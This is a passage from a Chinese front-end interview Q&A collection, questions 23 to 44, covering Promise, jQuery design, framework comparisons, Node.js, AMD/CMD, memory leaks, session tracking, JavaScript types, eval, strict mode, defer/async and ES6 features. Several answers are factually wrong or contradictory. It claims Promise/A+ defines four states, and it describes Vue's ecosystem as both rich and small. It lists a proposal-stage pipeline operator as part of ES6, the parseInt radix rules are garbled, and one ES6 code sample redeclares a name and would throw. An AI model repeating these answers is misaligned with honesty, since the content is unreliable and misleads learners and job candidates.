以上示例代码展示了对常见兼容性问题的处理方法,包括事件对象的属性获取、样式获取和图片加载的兼容性处理。在实际开发中,需要根据具体的兼容性问题选择合适的解决方案,并进行兼容性测试和调整。

# 23 说说你对promise的了解

依照 Promise/A+ 的定义,Promise 有四种状态:

  1. pending(进行中): 初始状态,表示异步操作尚未完成。当创建一个 Promise 对象时,它的初始状态就是 pending。
  2. fulfilled(已成功): 表示异步操作已成功完成,并且返回了一个结果值。一旦 Promise 的状态转为 fulfilled,就会调用 onFulfilled 回调函数。
  3. rejected(已失败): 表示异步操作执行过程中出现了错误或失败。一旦 Promise 的状态转为 rejected,就会调用 onRejected 回调函数。
  4. settled(已结束): 表示 Promise 已经被 resolved(fulfilled 或 rejected)。在 settled 状态下,Promise 的状态已经确定,不会再发生变化。

需要注意的是,Promise 的状态转换是单向的,一旦状态确定后就不可再改变。一开始是 pending,然后可以转为 fulfilled 或 rejected,一旦转换为其中一种状态,就会保持在那个状态,无法再次改变。

以下是一个示例代码,演示 Promise 的不同状态和状态转换过程:

// 创建一个 Promise 对象
var promise = new Promise(function(resolve, reject) {
  // 异步操作
  setTimeout(function() {
    var randomNum = Math.random();
    if (randomNum > 0.5) {
      resolve('Operation succeeded');
    } else {
      reject('Operation failed');
    }
  }, 1000);
});

// 使用 Promise 对象
promise
  .then(function(result) {
    console.log('Success:', result);
  })
  .catch(function(error) {
    console.log('Error:', error);
  })
  .finally(function() {
    console.log('Promise settled');
  });

在上面的示例中,我们创建了一个 Promise 对象,并在内部定义了一个异步操作。根据异步操作的结果,调用了 resolve 或 reject 方法来改变 Promise 的状态。然后使用 then 方法注册了成功时的回调函数,使用 catch 方法捕获了错误。最后,使用 finally 方法来注册一个在 Promise 完成后必定会执行的回调函数。

这样,我们就可以通过对 Promise 的状态进行判断和处理,来执行相应的操作。

# 24 你觉得jQuery源码有哪些写的好的地方

  • jQuery的源码结构清晰,模块化的设计使得各个功能模块之间相互独立,易于维护和扩展。
  • jQuery采用了很多优化技巧,例如使用惰性函数、缓存DOM查询结果、事件委托等,以提高性能和效率。
  • jQuery提供了一致而强大的选择器功能,支持多种选择器语法,使得操作DOM元素更加灵活方便。
  • jQuery提供了丰富的插件生态系统,使得开发者可以轻松扩展功能,且插件之间可以很好地兼容和组合使用。
  • jQuery封装了跨浏览器的解决方案,解决了浏览器兼容性问题,使开发者可以更专注于业务逻辑而不用关心底层实现细节。
  • jQuery提供了丰富的DOM操作方法和动画效果,使得开发者可以轻松实现复杂的交互效果。
  • jQuery文档详细且易于理解,提供了丰富的示例和用法说明,方便开发者学习和使用。

总的来说,jQuery源码在设计和实现上具有很多优秀的地方,使得它成为广泛应用的前端库之一。

以下是一个简单的示例代码,展示了jQuery源码中的一些优秀设计和实现:

// 定义一个自执行的匿名函数,将window对象作为局部变量传入,避免作用域链查找
(function(window, undefined) {

  // 定义jQuery构造函数
  var jQuery = function(selector) {
    return new jQuery.fn.init(selector);
  };

  // 将原型对象简写为fn,提高代码效率
  jQuery.fn = jQuery.prototype = {
    // 初始化方法
    init: function(selector) {
      // ...
    },
    // 扩展的实例方法
    // ...
  };

  // 将jQuery的原型对象赋值给fn,实现链式调用
  jQuery.fn.init.prototype = jQuery.fn;

  // ...

  // 将jQuery绑定到全局对象window上,提供全局访问
  window.jQuery = window.$ = jQuery;

})(window);

这段示例代码展示了jQuery源码中的一些优秀设计和实现:

  1. 使用自执行的匿名函数,将window对象作为局部变量传入,提高访问window对象的效率,同时避免全局污染。
  2. 通过将原型对象简写为fn,提高代码效率,同时利用init方法作为构造函数,实现链式调用。
  3. 使用原型继承机制,将jQuery的原型对象赋值给fn,使得实例对象可以直接访问jQuery的方法。
  4. jQuery绑定到全局对象window上,使得可以通过jQuery$全局变量访问jQuery的功能。

这些设计和实现使得jQuery具有清晰的结构、高效的代码和易于使用的特性,成为广泛应用的前端库。

# 25 谈谈你对vue、react、angular的理解

继续对比Vue、React和Angular的优缺点对比:

Vue.js:

  • 优点:
    • 简单易学:Vue.js具有简单易学的特点,可以快速上手,适合小型项目或初学者。
    • 响应式数据绑定:Vue.js使用双向数据绑定机制,能够实现数据的自动更新和同步,提高开发效率。
    • 轻量灵活:Vue.js的核心库很小,可以根据需要逐渐引入插件,具有灵活性和可扩展性。
    • 生态系统丰富:Vue.js拥有庞大的社区和生态系统,有大量的第三方库和组件可供使用。
  • 缺点:
    • 生态系统相对较小:相对于React和Angular,Vue.js的生态系统规模相对较小,可能在某些方面的资源和支持较少。

Angular:

  • 优点:

    • 完整的功能集:Angular是一个完整的前端框架,提供了路由、模块化、依赖注入等功能,适用于大型和复杂的应用程序开发。
    • 强大的模板系统:Angular具有强大的模板系统,支持丰富的指令和组件,使开发者可以更轻松地构建复杂的用户界面。
    • 强大的工具支持:Angular提供了强大的开发工具和调试工具,使开发和调试更加便捷。
  • 缺点:

    • 学习曲线较陡峭:相对于Vue.js和React,Angular的学习曲线较陡峭,需要掌握更多的概念和技术。
    • 复杂性较高:由于Angular是一个完整的框架,它的复杂性较高,对于简单项目可能会显得过于臃肿。

React:

  • 优点:
    • 高性能:React使用虚拟DOM技术,能够提高应用程序的性能,减少DOM操作。
    • 组件化开发:React倡导组件化开发,使得代码更加模块化、可维护和可复用。
    • 大而活跃的社区:React拥有庞大而活跃的社区,有大量的第三方库和组件可供使用。
    • 前后端通用:React可以进行服务器端渲染,使得应用程序具有更好的性能和搜索引擎优化。
  • 缺点:
    • 学习曲线较陡峭:React使用了JSX语法和一些独特的概念,对于新手来说可能需要一定的学习成本。

# 26 Node的应用场景

特点:

  1. 基于事件驱动和非阻塞I/O: Node.js采用事件驱动的编程范式,通过异步非阻塞的I/O模型实现高效的并发处理,能够处理大量的并发连接。
  2. 单线程: Node.js使用单线程处理请求,避免了传统多线程模型中线程切换的开销,提高了处理请求的效率。
  3. 基于V8引擎: Node.js使用Google Chrome浏览器中的V8引擎解释执行JavaScript代码,具有高性能和高效的特点。
  4. 跨平台: Node.js可以在多个操作系统上运行,如Windows、Linux、Mac等。

优点:

  1. 高并发性能: Node.js的事件驱动和非阻塞I/O模型使其能够处理大量并发请求,适用于构建高性能的网络应用。
  2. 快速开发: Node.js使用JavaScript语言,具有统一的开发语言,使得前端开发人员可以轻松上手进行服务器端开发。
  3. 丰富的模块生态系统: Node.js拥有庞大的模块生态系统,提供了丰富的第三方模块和工具,可以快速构建复杂的应用程序。
  4. 轻量和高效: Node.js具有较小的内存占用和快速的启动时间,适合部署在云环境或资源有限的设备上。

缺点:

  1. 单线程限制: Node.js使用单线程处理请求,如果有长时间运行的计算密集型任务或阻塞操作,会导致整个应用程序的性能下降。
  2. 可靠性低: Node.js在处理错误和异常方面相对较弱,一旦代码某个环节崩溃,整个应用程序都可能崩溃,需要仔细处理错误和异常情况。
  3. 不适合CPU密集型任务: 由于Node.js的单线程特性,不适合处理需要大量计算的CPU密集型任务,这类任务可能会阻塞事件循环,影响整个应用程序的性能。

Node.js的应用场景主要包括以下几个方面:

  1. 服务器端开发: Node.js在服务器端开发中表现出色。由于其事件驱动、非阻塞的特性,适合处理高并发的网络请求,可以快速构建高性能的网络应用程序,如Web服务器、API服务器、实时聊天应用等。
  2. 实时应用程序: 基于Node.js的实时应用程序能够实现双向通信,例如实时聊天应用、协作工具、多人游戏等。Node.js的事件驱动模型和非阻塞I/O使得处理大量并发连接变得更加高效。
  3. 命令行工具: Node.js提供了丰富的API和模块,使得开发命令行工具变得简单和高效。通过Node.js可以编写自定义的命令行工具,用于执行各种任务、自动化流程和脚本处理等。
  4. 构建工具: Node.js可以用于构建前端的构建工具和任务执行器,如Grunt和Gulp。这些工具利用Node.js的模块化和文件操作能力,帮助开发者自动化地处理代码的编译、压缩、打包等任务。
  5. 代理服务器: 基于Node.js可以构建高性能的代理服务器,用于代理请求、路由转发、负载均衡等。Node.js的非阻塞I/O使得代理服务器能够同时处理大量的并发请求。

总的来说,Node.js适用于需要处理高并发、实时性要求高、需要构建高性能网络应用的场景。它在Web开发、实时应用、命令行工具等领域都有广泛的应用。

# 27 谈谈你对AMD、CMD的理解

AMD(Asynchronous Module Definition)和CMD(Common Module Definition)是用于浏览器端的模块加载规范。它们的目标都是解决模块化开发的问题,提供了异步加载模块的机制,以提高网页的性能和加载速度。

AMD(Asynchronous Module Definition)

  • AMD是由RequireJS提出的一种模块加载规范。
  • AMD规范采用异步加载模块的方式,在使用模块之前,需要先定义模块的依赖关系,然后通过回调函数来使用模块。这种方式适用于浏览器环境,可以避免阻塞页面的加载。
  • AMD规范使用define函数来定义模块,可以指定模块的依赖关系和回调函数。在回调函数中可以获取依赖模块,并进行相应的操作。
  • 示例代码:
define(['module1', 'module2'], function(module1, module2) {
  // 使用module1和module2进行操作
});

CMD(Common Module Definition)

  • CMD是由SeaJS提出的一种模块加载规范。
  • CMD规范与AMD规范类似,也采用异步加载模块的方式。但与AMD不同的是,CMD规范在使用模块之前不需要先定义依赖关系,而是在使用时才进行模块的加载。
  • CMD规范使用define函数来定义模块,可以在回调函数中使用require函数来加载依赖模块。
  • 示例代码:
define(function(require) {
  var module1 = require('module1');
  var module2 = require('module2');
  // 使用module1和module2进行操作
});

总体来说,AMDCMD都是用于浏览器端的模块加载规范,目的是解决模块化开发的问题。它们的区别在于模块定义和加载的时机不同,AMD在定义时就指定依赖关系并加载模块,而CMD在使用时才加载模块。根据具体的项目需求和团队的开发习惯,可以选择适合的规范进行模块化开发。

# 28 那些操作会造成内存泄漏

除了之前提到的操作,以下是更多可能导致内存泄漏的操作,并附带示例代码:

1. 定时器未清理:

function startTimer() {
  setInterval(() => {
    // 定时操作
  }, 1000);
}

// 没有清理定时器,导致内存泄漏

解决方法:在不需要定时器时,使用 clearIntervalclearTimeout 清理定时器。

2. 异步操作未完成导致回调函数未执行:

function fetchData(callback) {
  // 异步操作,例如 AJAX 请求或数据库查询

  // 忘记调用回调函数,导致内存泄漏
}

// 示例中没有调用 fetchData 的回调函数

解决方法:确保异步操作完成后,调用相应的回调函数,或使用 Promiseasync/await 等方式管理异步操作的状态。

3. DOM 元素未正确移除:

function createDOMElement() {
  const element = document.createElement('div');
  // 在页面中插入 element,但没有移除

  // 该函数可能被多次调用,导致大量无用的 DOM 元素存在于内存中
}

解决方法:在不需要的时候,使用 removeChild 或其他方法将 DOM 元素从页面中移除。

4. 未释放闭包中的引用:

function createClosure() {
  const data = 'sensitive data';

  setTimeout(() => {
    console.log(data);
  }, 1000);

  // 闭包中引用了外部的 data 变量,导致 data 无法被垃圾回收
}

解决方法:在不需要使用闭包中的外部变量时,确保取消引用,例如将闭包中的引用设置为 null

除了之前提到的操作,以下是更多可能导致内存泄漏的操作,并附带示例代码:

5. 未正确释放事件监听器:

function addEventListener() {
  const element = document.getElementById('myElement');
  element.addEventListener('click', () => {
    // 事件处理程序
  });

  // 没有移除事件监听器,导致内存泄漏
}

解决方法:在不需要监听事件时,使用 removeEventListener 方法将事件监听器移除。

6. 大量数据缓存导致内存占用过高:

function cacheData() {
  const data = fetchData(); // 获取大量数据
  // 将数据存储在全局变量或其他长久存在的对象中

  // 数据缓存过多,占用大量内存资源
}

解决方法:及时清理不再需要的数据缓存,或使用适当的数据存储方案,例如使用数据库等。

7. 循环引用:

function createCircularReference() {
  const obj1 = {};
  const obj2 = {};

  obj1.ref = obj2;
  obj2.ref = obj1;

  // obj1 和 obj2 彼此引用,导致无法被垃圾回收
}

解决方法:确保循环引用的对象在不再需要时被解除引用,例如将相应的属性设置为 null

8. 未正确释放资源:

function openResource() {
  const resource = openSomeResource();

  // 忘记关闭或释放 resource,导致资源泄漏
}

解决方法:在不再需要使用资源时,确保关闭、释放或销毁相应的资源,例如关闭数据库连接、释放文件句柄等。

# 29 web开发中会话跟踪的方法有哪些

在Web开发中,常见的会话跟踪方法包括:

1. Cookie:

  • 使用HTTP Cookie来跟踪会话状态,将会话信息存储在客户端。

示例代码:

// 设置Cookie
document.cookie = "sessionID=abc123; expires=Sat, 31 Dec 2023 23:59:59 GMT; path=/";

// 读取Cookie
var sessionID = document.cookie;

2. Session:

  • 使用服务器端的会话管理机制,在服务器端存储会话数据,客户端通过会话ID来进行访问。

示例代码(使用Express.js框架):

// 在服务器端设置Session
app.use(session({ secret: 'secretKey', resave: false, saveUninitialized: true }));

// 在路由处理程序中存储和访问Session数据
req.session.username = 'poetry';
var username = req.session.username;

3. URL重写:

  • 在URL中附加会话标识符来进行会话跟踪。

示例代码:

https://example.com/page?sessionID=abc123

4. 隐藏Input:

  • 在HTML表单中使用隐藏的输入字段来存储会话信息。

示例代码:

<input type="hidden" name="sessionID" value="abc123">

5. IP地址:

  • 根据客户端的IP地址进行会话跟踪,但这种方法可能受到共享IP、代理服务器等因素的影响。

示例代码(使用Node.js):

var clientIP = req.headers['x-forwarded-for'] || req.connection.remoteAddress;

# 30 JS的基本数据类型和引用数据类型

  • 基本数据类型:
    • undefined: 表示未定义或未初始化的值。
    • null: 表示空值或不存在的对象。
    • boolean: 表示逻辑上的truefalse
    • number: 表示数值,包括整数和浮点数。
    • string: 表示字符串。
    • symbol: 表示唯一的、不可变的值,通常用作对象的属性键。
  • 引用数据类型:
    • object: 表示一个复杂的数据结构,可以包含多个键值对。
    • array: 表示一个有序的、可变长度的集合。
    • function: 表示可执行的代码块,可以被调用执行。

基本数据类型在赋值时是按值传递的,每个变量都有自己的存储空间,修改一个变量不会影响其他变量。而引用数据类型在赋值时是按引用传递的,多个变量引用同一个对象,修改一个变量会影响其他变量。需要注意的是,nullundefined既是基本数据类型,也是特殊的值,表示不同的含义。

# 31 介绍js有哪些内置对象

JavaScript中有许多内置对象,用于提供各种功能和方法,常见的内置对象包括:

  1. Object: 所有对象的基类。
  2. Array: 用于表示和操作数组的对象。
  3. Boolean: 代表布尔值 truefalse
  4. Number: 代表数字,用于执行数值操作和计算。
  5. String: 代表字符串,用于处理和操作文本数据。
  6. Date: 用于处理日期和时间。
  7. RegExp: 用于进行正则表达式匹配。
  8. Function: 用于定义和调用函数。
  9. Math: 提供数学计算相关的方法和常量。
  10. JSON: 用于解析和序列化 JSON 数据。
  11. Error: 用于表示和处理错误。
  12. Map: 一种键值对的集合,其中键可以是任意类型。
  13. Set: 一种集合数据结构,存储唯一的值。
  14. Promise: 用于处理异步操作和编写更优雅的异步代码。
  15. Symbol: 代表唯一的标识符。

这些内置对象提供了丰富的功能和方法,可以满足不同的编程需求。开发人员可以利用这些对象来处理数据、执行操作、处理错误等。

# 32 说几条写JavaScript的基本规范

下面是几条常见的写JavaScript的基本规范:

  1. 使用驼峰命名法(camel case)命名变量、函数和对象属性,例如:firstName, getUserData(), myObject.property
  2. 使用大写字母开头的驼峰命名法(Pascal case)命名构造函数或类,例如:Person, UserModel
  3. 使用全大写字母和下划线命名常量,例如:MAX_VALUE, API_KEY
  4. 使用单行注释(//)或块注释(/* */)对代码进行注释,解释代码的用途和实现思路
  5. 使用缩进(通常是四个空格或一个制表符)来表示代码块的层次结构,增加代码的可读性
  6. 使用严格模式("use strict";)来提高代码的安全性和效率,避免使用隐式全局变量
  7. 尽量避免使用全局变量,封装代码到函数或模块中,使用局部变量来限制作用域,减少命名冲突
  8. 在声明变量时,使用letconst来代替var,避免变量提升和作用域问题
  9. 尽量避免使用隐式类型转换,使用严格相等运算符(===!==)进行比较,避免类型不匹配的问题
  10. 在使用条件语句(ifelse)和循环语句(forwhile)时,始终使用花括号来明确代码块的范围,避免歧义和错误
  11. 使用单引号或双引号来表示字符串,保持一致性,推荐使用单引号
  12. 尽量使用模板字符串来拼接字符串,避免使用字符串连接符(+)或复杂的字符串拼接操作
  13. 使用数组和对象的字面量语法([]{})来创建数组和对象,而不是使用构造函数,例如:let arr = [1, 2, 3], let obj = {name: 'poetry', age: 25}
  14. 对于长的逻辑语句或表达式,可以使用合适的换行和缩进来增加可读性,或者使用括号将其分成多行
  15. 避免使用eval()函数和with语句,它们可能引起安全问题和性能问题

这些规范旨在提高代码的可读性、可维护性和一致性,促进团队协作和代码质量的提升。在编写JavaScript代码时,遵循这些规范可以帮助开发人员写出更优雅、健壮和易于

# 33 JavaScript有几种类型的值

JavaScript有以下几种类型的值:

  1. 原始数据类型:
  • Undefined:表示未定义的值。
  • Null:表示空值。
  • Boolean:表示布尔值,只有两个取值:truefalse
  • Number:表示数字,包括整数和浮点数。
  • String:表示字符串,用于表示文本数据。
  • Symbol(ES6新增):表示唯一的、不可变的值。
  1. 引用数据类型:
  • Object:表示对象,是一种复合值,可以包含多个键值对。
  • Array:表示数组,是一种有序的、可变的集合。
  • Function:表示函数,可以执行特定的任务。
  • Date:表示日期和时间。
  • RegExp:表示正则表达式,用于匹配和处理字符串。
  • Error:表示错误对象,用于捕获和处理异常情况。

原始数据类型存储在栈中,通过值的复制来进行赋值和传递。而引用数据类型存储在堆中,通过引用的方式进行赋值和传递,实际上传递的是指向堆中对象的引用地址。

注意:ES6新增的Symbol类型是一种唯一的、不可变的数据类型,用于创建唯一的标识符,主要用于对象属性的键值。

# 34 eval是做什么的

eval() 是 JavaScript 的一个全局函数,用于将传入的字符串作为 JavaScript 代码进行解析和执行。

其主要功能有以下几个方面:

  1. 动态执行代码:eval() 可以将字符串作为 JavaScript 代码进行执行,将字符串解析为可执行的 JavaScript 代码。这样可以动态生成和执行代码,灵活性较高。
  2. 计算字符串表达式:eval() 可以计算传入的字符串表达式并返回结果。
  3. 解析 JSON:在某些情况下,可以使用 eval() 将 JSON 字符串解析为 JavaScript 对象。但是需要注意,使用 eval() 解析 JSON 字符串存在安全风险,因为它会执行传入的任意代码,可能导致恶意代码的注入。

需要注意的是,由于 eval() 执行的字符串会被解析和执行,因此在使用 eval() 时要格外小心,避免执行不可信的代码,以防止安全漏洞和性能问题。在大多数情况下,可以通过其他方式实现相同的功能,而不必使用 eval()

# 35 null,undefined 的区别

nullundefined 是 JavaScript 中表示空值或缺失值的两个特殊值。

区别如下:

  1. undefined 表示变量声明了但没有被赋值,或者访问对象属性不存在时的默认返回值。
  • 当变量被声明但未被赋值时,默认值为 undefined
  • 当访问对象的不存在属性时,返回值为 undefined
  1. null 表示变量被赋予了一个空值,表示有一个对象,但该对象为空。
  • 当想要明确表示一个变量为空对象时,可以将其赋值为 null
  • null 是一个特殊的对象值,表示对象为空,即不指向任何内存地址。

总结:

  • undefined 表示缺少值或未定义的值,常见于变量声明但未赋值的情况。
  • null 表示空对象,常见于显式地将对象赋值为空。

在使用条件判断时,要注意区分它们的差异。对于严格相等比较,推荐使用 === 来避免类型转换,以准确判断两者是否相等。

# 36 ["1", "2", "3"].map(parseInt) 答案是多少

parseInt(str, radix)

  • 解析一个字符串,并返回10进制整数
  • 第一个参数str,即要解析的字符串
  • 第二个参数radix,基数(进制),范围2-36 ,以radix进制的规则去解析str字符串。不合法导致解析失败
  • 如果没有传radix
    • str0开头,则按照16进制处理
    • str0开头,则按照8进制处理(但是ES5取消了,可能还有一些老的浏览器使用)会按照10进制处理
    • 其他情况按照10进制处理
  • eslint会建议parseInt写第二个参数(是因为0开始的那个8进制写法不确定(如078),会按照10进制处理)
// 拆解
const arr = ["1", "2", "3"]
const res = arr.map((item,index,array)=>{
  // item: '1', index: 0
  // item: '2', index: 1
  // item: '3', index: 2
  return parseInt(item, index)
  // parseInt('1', 0) // 0相当没有传,按照10进制处理返回1 等价于parseInt('1')
  // parseInt('2', 1) // NaN 1不符合redix 2-36 的一个范围
  // parseInt('3', 2) // 2进制没有3 返回NaN
})

// 答案 [1, NaN, NaN] 

# 37 javascript 代码中的"use strict";是什么意思

"use strict"是一种特定的指令(directive),用于告诉 JavaScript 解析器在解析代码时采用严格模式。它可以出现在 JavaScript 代码的顶部(全局严格模式)或函数体的顶部(函数级严格模式)。

使用严格模式的好处包括:

  1. 消除了一些 JavaScript 的不安全操作,使代码更加安全。
  2. 阻止使用一些不推荐或已废弃的语法和特性。
  3. 强制执行更严格的语法和错误检查,减少潜在的错误。
  4. 提高性能,某些优化措施只在严格模式下生效。

严格模式对一些错误和不合理的行为进行了修正,例如:

  • 未声明的变量不能被使用。
  • 不能对只读属性进行赋值。
  • 函数的参数不能有重复的名称。
  • 不能删除变量或函数。
  • 不能使用八进制字面量(例如 0123)。
  • 不能使用 with 语句。

要注意的是,启用严格模式可能会导致一些代码在非严格模式下不起作用,因为严格模式对语法和行为有更高的要求。因此,在使用严格模式之前,需要仔细测试和检查代码,确保代码在严格模式下正常运行。

示例:

"use strict";

function myFunction() {
  // 函数级严格模式
  // ...
}

// 全局严格模式

上述代码中的"use strict"指令告诉 JavaScript 解析器在解析函数或全局代码时应该采用严格模式。

# 38 JSON 的了解

JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,以文本形式表示结构化的数据。它采用类似于 JavaScript 对象的键值对的方式来描述数据,易于阅读和编写,同时也便于机器解析和生成。

JSON具有以下特点:

  1. 数据格式简单明确:JSON使用键值对(key-value pairs)的形式表示数据,使用大括号 {} 定义对象,使用方括号 [] 定义数组,键和值之间使用冒号 : 分隔。
  2. 支持多种数据类型:JSON支持包括字符串、数字、布尔值、对象、数组和null在内的基本数据类型。
  3. 跨平台和语言:JSON是一种通用的数据交换格式,不依赖于特定的编程语言或平台,可以被各种编程语言解析和生成。

在 JavaScript 中,可以使用内置的JSON对象进行 JSON 字符串与 JavaScript 对象之间的转换。常用的方法有:

  • JSON.parse():将 JSON 字符串解析为 JavaScript 对象。
  • JSON.stringify():将 JavaScript 对象转换为 JSON 字符串。

示例:

// JSON字符串转换为JSON对象
var jsonString = '{"name": "poetry", "age": 28, "city": "shenzhen"}';
var jsonObj = JSON.parse(jsonString);

// JSON对象转换为JSON字符串
var obj = {name: "poetry", age: 28, city: "shenzhen"};
var jsonString = JSON.stringify(obj);

通过使用 JSON,我们可以方便地在不同的系统和平台之间传递和处理数据。它在 Web 开发中被广泛应用于前后端数据交互、API 接口设计等场景。

# 39 js延迟加载的方式有哪些

延迟加载(Deferred Loading)是一种优化网页性能的技术,可以延迟加载页面中的资源(如脚本、样式表、图片等),从而加快页面的初始加载速度。

以下是几种常见的 JavaScript 延迟加载的方式:

  1. defer 属性:将脚本标签的 defer 属性设置为 "defer",使得脚本在页面完成解析时执行。例如:<script src="script.js" defer></script>
  2. 动态创建 script DOM:通过 JavaScript 动态创建 <script> 元素,并将其插入到页面中。这样可以控制脚本的加载时机,例如在页面加载完毕后再加载脚本
var script = document.createElement('script');
script.src = 'script.js';
document.body.appendChild(script);
  1. XmlHttpRequest 脚本注入:使用 XMLHttpRequest 对象加载 JavaScript 脚本,并将其注入到页面中。这种方式可以在页面加载过程中异步加载脚本。示例代码如下:
var xhr = new XMLHttpRequest();
xhr.open('GET', 'script.js', true);
xhr.onload = function() {
  if (xhr.status === 200) {
    var script = document.createElement('script');
    script.textContent = xhr.responseText;
    document.body.appendChild(script);
  }
};
xhr.send();
  1. 延迟加载工具:使用第三方的延迟加载工具库,如 LazyLoad,可以更方便地管理和控制页面中的延迟加载资源。这些工具通常提供了更多的功能和配置选项,例如按需加载、懒加载、预加载等。

这些延迟加载的方式可以根据具体的需求和场景选择合适的方式来优化页面加载性能,提升用户体验。

# 40 同步和异步的区别

  • 同步:浏览器访问服务器请求,用户看得到页面刷新,重新发请求,等请求完,页面刷新,新内容出现,用户看到新内容,进行下一步操作
  • 异步:浏览器访问服务器请求,用户正常操作,浏览器后端进行请求。等请求完,页面不刷新,新内容也会出现,用户看到新内容

常见的异步操作包括网络请求(Ajax)、定时器(setTimeout、setInterval)、事件处理等。在这些异步操作中,任务的执行不会阻塞程序的其他部分,而是在后台进行,当任务完成时,会通过回调函数或事件来通知程序进行下一步操作。

总结:同步操作是按照顺序依次执行任务,阻塞程序的执行;异步操作是通过回调函数或事件触发来执行任务,不会阻塞程序的执行,提高了程序的并发性和响应性。在实际开发中,异步操作通常用于处理耗时操作和需要等待结果的任务,以提高程序的性能和用户体验。

# 41 defer和async

  • defer并行加载js文件,会按照页面上script标签的顺序执行
  • async并行加载js文件,下载完成立即执行,不会按照页面上script标签的顺序执行

下面是更详细的解释:

deferasync是用于控制<script>标签加载和执行的属性。

  • defer 属性用于延迟脚本的执行,即脚本会被并行下载,但会等到整个文档解析完成后再执行。多个带有defer属性的脚本会按照它们在文档中的顺序执行。这样可以确保脚本在操作DOM之前加载,避免阻塞页面的渲染。需要注意的是,只有外部脚本(通过src属性引入的脚本)才能使用defer属性。
<script src="script1.js" defer></script>
<script src="script2.js" defer></script>
  • async 属性用于异步加载脚本,即脚本会被并行下载,并在下载完成后立即执行。多个带有async属性的脚本的执行顺序是不确定的,哪个脚本先下载完成就先执行。这样可以提高脚本的加载性能,但可能会导致脚本之间的依赖关系出现问题。同样,只有外部脚本才能使用async属性。
<script src="script1.js" async></script>
<script src="script2.js" async></script>

需要注意的是,deferasync属性只在外部脚本中生效,即通过src属性引入的脚本。如果脚本直接嵌入在<script>标签中,这两个属性不起作用。

选择使用defer还是async取决于脚本的加载和执行顺序的重要性。如果脚本之间有依赖关系,并且需要按照顺序执行,应使用defer。如果脚本之间没有依赖关系,且可以并行加载和执行,可以使用async来提高加载性能。

# 42 说说严格模式的限制

严格模式(Strict Mode)是 ECMAScript 5 引入的一种特殊模式,用于限制 JavaScript 代码中的一些不安全或不规范的语法,提供更严格的语法检查,减少一些怪异行为,并改善代码质量和可维护性。

严格模式的一些限制包括但不限于:

  1. 变量必须先声明再使用,禁止隐式全局变量。
  2. 函数的参数不能有同名属性,否则会报错。
  3. 禁止使用 with 语句。
  4. 不能对只读属性赋值,否则会报错。
  5. 不能使用前缀 0 表示八进制数,否则会报错。
  6. 不能删除不可删除的属性,不能删除变量,只能删除对象属性。
  7. eval 函数在其内部引入的变量不会影响外部作用域。
  8. evalarguments 不能被重新赋值。
  9. arguments 不会自动反映函数参数的变化。
  10. 不能使用 arguments.calleearguments.caller
  11. 禁止 this 指向全局对象。
  12. 不能使用 fn.callerfn.arguments 获取函数调用的堆栈。
  13. 增加了一些保留字,如 protectedstaticinterface

使用严格模式可以提高代码的可靠性,减少意外错误和怪异行为。要启用严格模式,可以在脚本文件或函数体的开头加上 'use strict'; 来指示 JavaScript 解析器以严格模式解析代码。

# 43 attribute和property的区别是什么

  • attributedom元素在文档中作为html标签拥有的属性;
  • property就是dom元素在js中作为对象拥有的属性。
  • 对于html的标准属性来说,attributeproperty是同步的,是会自动更新的
  • 但是对于自定义的属性来说,他们是不同步的

attributeproperty是用于描述DOM元素的特性和属性的两个概念。

区别如下:

  • Attribute(属性)是DOM元素在HTML文档中定义的特性,它可以在HTML标签上声明并存储相关信息。例如,<div class="container">中的class就是一个属性。在JavaScript中,可以通过getAttributesetAttribute方法来获取和设置属性的值。

  • Property(属性)是DOM元素作为对象的属性,用于访问和操作元素的状态和行为。例如,document.getElementById('myElement').className中的className就是DOM对象的属性。在JavaScript中,可以直接通过.运算符来访问和修改对象的属性。

主要区别:

  1. 同步性:对于HTML标准属性来说,属性和特性是同步的,它们会相互影响和更新。但是对于自定义的属性,特性和属性之间是不同步的。
  2. 值的类型:属性值是具体的数据类型,例如字符串、布尔值、数字等。而特性值始终是字符串。
  3. 访问方式:属性可以通过直接访问对象的属性来获取和设置,而特性需要使用相关的方法(例如getAttributesetAttribute)来访问和操作。

需要注意的是,大多数情况下,我们更常使用属性来操作DOM元素,因为它们更直观和方便。而特性主要用于处理自定义属性或一些特殊情况下的操作。

# 44 谈谈你对ES6的理解

ES6(ECMAScript 2015)是JavaScript的第六个主要版本,引入了许多新的语言特性和改进,以提升开发人员的效率和代码质量。以下是ES6的一些重要特性:

  1. 块级作用域:引入letconst关键字,允许在块级作用域中声明变量,解决了变量提升和作用域污染的问题。
  2. 箭头函数:使用箭头(=>)定义函数,简化了函数的书写,并且自动绑定了this
  3. 模板字符串:使用反引号(`)包裹字符串,可以在字符串中使用变量和表达式,实现更灵活的字符串拼接和格式化。
  4. 解构赋值:通过解构赋值语法,可以从数组或对象中提取值,并赋给对应的变量,简化了变量赋值的操作。
  5. 默认参数:函数可以定义默认参数值,简化了函数调用时传参的操作。
  6. 扩展运算符:使用三个点(...)进行数组和对象的展开操作,可以将一个数组或对象拆分为独立的元素,或者将多个数组或对象合并为一个。
  7. Promise:引入了Promise对象,用于更好地处理异步操作,解决了回调地狱的问题,并提供了更清晰的异步编程模式。
  8. 类和模块化:ES6引入了类的概念,可以使用class关键字定义类,实现了更接近传统面向对象编程的方式。同时,ES6还提供了模块化的支持,可以使用importexport语法导入和导出模块。
  9. 模块化:引入了模块化的概念,可以使用importexport语法导入和导出模块,提供了更好的代码组织和模块复用的方式。
  10. 迭代器和生成器**:引入了迭代器和生成器的概念,可以通过自定义迭代器来遍历数据集合,并使用生成器函数来生成迭代器。
  11. 管道操作符:提案阶段的特性,引入了管道操作符(|>),可以将表达式的结果作为参数传递给下一个表达式,简化了函数调用和方法链的写法。

这些特性只是ES6的一部分,还有其他许多特性,如Promise.allMapSetProxyReflect等。ES6的引入使得JavaScript语言更加现代化和强大,提供了更多的编程工具和语法

当然,以下是对ES6特性的一些示例代码:

  1. 箭头函数:
// 传统函数
function sum(a, b) {
  return a + b;
}

// 箭头函数
const sum = (a, b) => a + b;

// 使用箭头函数作为回调函数
const numbers = [1, 2, 3, 4, 5];
const squaredNumbers = numbers.map(num => num * num);
console.log(squaredNumbers); // [1, 4, 9, 16, 25]
  1. 模板字符串:
const name = "Alice";
const age = 25;

// 使用模板字符串进行字符串拼接和变量插值
const message = `My name is ${name} and I am ${age} years old.`;
console.log(message); // My name is Alice and I am 25 years old.
  1. 解构赋值:
// 数组解构赋值
const numbers = [1, 2, 3, 4, 5];
const [first, second, ...rest] = numbers;
console.log(first); // 1
console.log(second); // 2
console.log(rest); // [3, 4, 5]

// 对象解构赋值
const person = { name: "Alice", age: 25 };
